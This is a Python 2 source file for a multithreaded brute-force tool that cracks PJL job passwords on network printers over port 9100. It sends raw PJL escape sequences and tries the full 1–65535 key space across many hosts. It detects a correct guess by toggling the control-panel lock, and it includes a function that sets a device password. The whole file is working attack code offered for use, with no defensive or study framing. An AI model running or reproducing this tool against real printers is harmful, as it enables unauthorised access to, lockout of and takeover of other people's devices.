import threading
import time
import socket
import random
import pdb

class CrackerThread(threading.Thread):
    def __init__(self, ip, port, collector,startPass):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.collector = collector
        self.startPass = startPass

    def run(self):
        dec_inc = -1
        try:
            enabled = self.passInq(self.ip, self.port)
            start = time.time
            if enabled != 'ENABLED':
                print "No PJL password found on", self.ip
            else:
                self.state = self.cpInq(self.ip, self.port)
                self.cstate = 'ON'
                if self.state == 'ON': 
                    self.cstate = 'OFF'

                last_password = None #last password found by a thread       
                
                #start loop though all possible passwords
                
                #for num in range(65535,0,-1): #count down
                startP = self.startPass[0]
                stopP = self.startPass[1]
                loopCount = startP - stopP 
                if loopCount != 65535:
                    loop = False
                else:
                    loop = True
                while loopCount >= 0:
                    # Stop immediately if the collector has signaled we're done.
                    if not self.collector.running.is_set():
                        break
                    
                    #try other passwords found by other threads
                    last_found_pass = self.collector.last_pass()
                    if last_found_pass != last_password:
                        password = self.bruteOne(self.ip, self.port, last_found_pass)
                        if password != None:
                            self.collector.record(self.ip, password)
                            break
                        #dont test the same found password again
                        else: last_password = last_found_pass
                    #at this point if the last found password = current password to be tried
                    #skip on to the next one rather then try the same one twice
                    if last_found_pass == startP: continue
                        

                    # Also stop if we get the password.
                    #
                    password = self.bruteOne(self.ip, self.port, startP)
                    if password != None:
                        self.collector.record(self.ip, password)
                        break
                    #decriment loop counter
                    loopCount -= 1

                    if startP != 0:
                        startP += dec_inc
                    else:
                        #at this point our password has not been found by us or other threads 
                        #loop back the top and check the rest of the password space
                        if loop != True:
                            #only loop back though once
                            loop = True
                            if random.choice([1,2]) == 1:
                                stopP = 0
                                startP = 65535
                                loopCount = startP - stopP
                            else:
                                stopP = 65535
                                startP = 1
                                dec_inc = 1
                                loopCount = stopP - startP
                        else:
                            #return False for password not found
                            self.collector.record(self.ip, False)
                            break

        except KeyboardInterrupt:
            #
            # If we caught the Ctrl-C, tell the controller we (and everyone else) should quit.
            #
            self.collector.cancel()

        # Tell the collector we're finished. This removes it's reference to us.
        #
        self.collector.finish(self)
        
    def bruteOne(self, ip, port, password, timeout=10):
        """
        PJL password Brute forcer can do the entire password space in around 110min
        ip = ip address to connect to, provide as a string
        port = port to connect on, provide as an int
        password = password to attempt
        timeout is the socket timeout before it gives up default is 10
        Returns False if error or updates collector.passwd when pass is found
        """
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        print "Trying password", password, " on host", ip
        try:
            s.connect((ip,port))
            s.sendall("\x1b\x25\x2d12345X@PJL \r\n@PJL JOB PASSWORD = "+str(password)+" \r\n@PJL DEFAULT CPLOCK  = "+self.cstate+" \r\n@PJL DINQUIRE CPLOCK \r\n@PJL EOJ \r\n\x1b\x25\x2d12345X\r\n")
            result = s.recv(1024).strip().split('\r\n')[1]
            s.close()
            if result != self.state:
                #change the cplock back
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(timeout)
                s.connect((ip,port))
                s.sendall("\x1b\x25\x2d12345X@PJL \r\n@PJL JOB PASSWORD = "+str(password)+" \r\n@PJL DEFAULT CPLOCK  = "+self.state+" \r\n@PJL DINQUIRE CPLOCK \r\n@PJL EOJ \r\n\x1b\x25\x2d12345X\r\n")
                result = s.recv(1024)
                s.close()
                return password
            
        except socket.timeout,e:
            print e
            return None

    def passInq(self,ip,port,timeout=10):
        """
        Return PJL Password is enabled or disabled
        ip = ip address to connect to, provide as a string
        port = port to connect on, provide as an int
        timeout is the socket timeout before it gives up default is 5
        returns either enabled or disabled or False for an error
        """
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        try:
            s.connect((ip,port))
            s.sendall("\x1b\x25\x2d12345X@PJL DINQUIRE PASSWORD\r\n\x1b\x25\x2d12345X")
            x = s.recv(1024)
            s.close()
            return x.strip().split('\r\n')[1]
        except IndexError,e:
            print e
            return False
        except socket.timeout,e:
            print e
            return False
        except socket.error,e:
            print e
            return False

    def cpInq(self,ip,port,timeout=10):
        """
        Return PJL Control Pannel lock is enabled or disabled
        ip = ip address to connect to, provide as a string
        port = port to connect on, provide as an int
        timeout is the socket timeout before it gives up default is 5
        returns either enabled or disabled or False for an error
        """
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        try:
            s.connect((ip,port))
            s.sendall("\x1b\x25\x2d12345X@PJL DINQUIRE CPLOCK\r\n\x1b\x25\x2d12345X")
            x = s.recv(1024)
            s.close()
            return x.strip().split('\r\n')[1]
        except IndexError,e:
            print e
            return False
        except socket.timeout,e:
            print e
            return False
        except socket.error,e:
            print e
            return False
    
    def passSet(self,passwd,ip,port,timeout=10):
        """
        Set a PJL Job Password
        passwd = password to set on the device as an int between 1 and 65535
        ip = ip address to connect to, provide as a string
        port = port to connect on, provide as an int
        timeout is the socket timeout before it gives up default is 5
        returns either ENABLED or DISABLED or False for an error
        """
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        try:
            s.connect((ip,port))
            s.sendall("\x1b\x25\x2d12345X@PJL \r\n@PJL DEFAULT PASSWORD = "+str(passwd)+" \r\n@PJL DINQUIRE PASSWORD\r\n\x1b\x25\x2d12345X")
            x = s.recv(1024)
            s.close()
            return x.strip().split('\r\n')[1]
        except socket.timeout,e:
            print e
            return False
        except socket.error,e:
            print e
            return False

class Collector(object):
    """
    genric class for all thread managment
    """

    def __init__(self, printers=[],MaxJobCount=30):
        self.passwords = {}
        self.threads = {}
        self.printers = printers
        self.running = threading.Event()
        self.safety = threading.RLock() 
        self.port = 9100
        self.last_password = None #last password found
        #set max thread count
        self.MaxJobCount = MaxJobCount
        #create password ranges for the threads
        #note that it gets slower up untill around 6 devices due to keyspace testing overlap
        #this is because when a printer is done testing its chunk of the keyspace it goes back to testing the entire keyspace
        #while it waits for the other threads to finish with their key spaces, thus there can be overlap of keys tested
        if len(self.printers) > self.MaxJobCount:
            splitCount = (self.MaxJobCount - 1)
        elif len(self.printers) == 2:
            splitCount = 2
        elif len(self.printers) == 1:
            splitCount = 1
        else: 
            splitCount = (len(self.printers) - 1)
        self.passRange = range(65535,0,((65535/splitCount)*-1))
    
    def last_pass(self):
        """
        return self.last_password in threadlock
        So as to make sure it doesnt change
        """
        with self.safety:
            return self.last_password

    # Record the password identified by the cracker thread. 
    #
    def record(self, ip, password):
        with self.safety:
            self.passwords[ip] = password
            self.last_password = password

    # Cancel processing. This clears an event flag that's used to control
    # the cracking loop in all the threads, so they'll finish after the 
    # current socket they're waiting on.
    #
    def cancel(self):
        print "\nTerminating...",
        self.running.clear()
            
    # Remove the reference to the thread (safely)
    #
    def finish(self, thread):
        with self.safety:
            del self.threads[thread.ip]

    # Get the count of entries in the thread dictionary, in 
    # a thread-safe way.
    #
    def total_thread_count(self):
        nthreads = 0
        with self.safety:
            nthreads = len(self.threads.keys())
        return nthreads
    
    def running_thread_count(self):
        nthreads = 0
        with self.safety:
            nthreads = len(self.rthreads)
        return nthreads

    def assign_work(self):
        with self.safety:
            for ip in self.threads.keys():
                if ip in self.rthreads:
                    continue
                else:
                    self.rthreads.append(ip)
                    self.threads[ip].start()
                #atempt to keep around 30 threads running
                if self.running_thread_count() <= self.MaxJobCount or self.running_thread_count() > self.MaxJobCount:
                    return
            #at this point there should be less then 30 peices of
            #work left to do in self.threads
            if self.total_thread_count() < self.MaxJobCount:
                return
    def gen_start_points(self):
        """
        return starting and endpoints for password threads to test
        """
        if len(self.passRange) == 1:
            return [self.passRange.pop(0),0]
        elif len(self.passRange) != 0:
            return [self.passRange.pop(0),self.passRange[0]]
        else: return [65535,0]

    def main(self):
        """
        Makes the magic happen
        Decides how much work there is then que's up 
        and tracks the threads to do it
        """
        try:
            #set running event flag then que up 30 threads.
            self.running.set()
            #list of ips of running threads
            self.rthreads = []
            #randomize the printer list
            random.shuffle(self.printers)
            #que up a list of all devices to run jobs on
            for ip in self.printers:
                ip = ip.strip() #strip off newline
                self.threads[ip] = CrackerThread(ip, self.port, self, self.gen_start_points())
                #start up X number of threads threads
                if self.running_thread_count() <= self.MaxJobCount:
                    self.rthreads.append(ip)
                    self.threads[ip].start()

            while self.running.is_set() and self.total_thread_count() >0:
                if self.running_thread_count() <= self.MaxJobCount:
                    self.assign_work()
                time.sleep(1)
        except KeyboardInterrupt:
            #if catch of Ctrl-c signal all threads to stop
            #
            self.cancel()
        #Wait for threads to stop but not more then 30sec
        timeout = 30
        while timeout > 0 and self.running_thread_count() > 0:
                time.sleep(1)
                timeout -= 1
        print self.passwords        

if __name__ == "__main__":
   pass
   #Collector(["127.0.0.1","127.0.0.1"]).main() #used for testing
